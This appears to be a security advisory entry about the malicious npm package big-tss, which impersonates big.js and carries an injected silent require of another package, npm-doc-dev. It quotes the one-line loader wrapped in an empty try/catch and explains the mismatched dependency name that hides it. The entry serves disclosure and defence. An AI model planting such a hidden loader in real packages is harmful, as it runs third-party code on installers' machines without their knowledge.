logo

Database

Use of software with malware In big-tss

Description

[email protected] impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: try { const doc = require("npm-doc-dev"); doc.from_str() } catch (error) {}. On any require('big-tss') this synchronously loads and executes the top-level code of npm-doc-dev — a package outside the big.js publisher — and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, npm-dc-dev, than the code actually requires (npm-doc-dev), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer's machine whenever a consumer imports the package.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version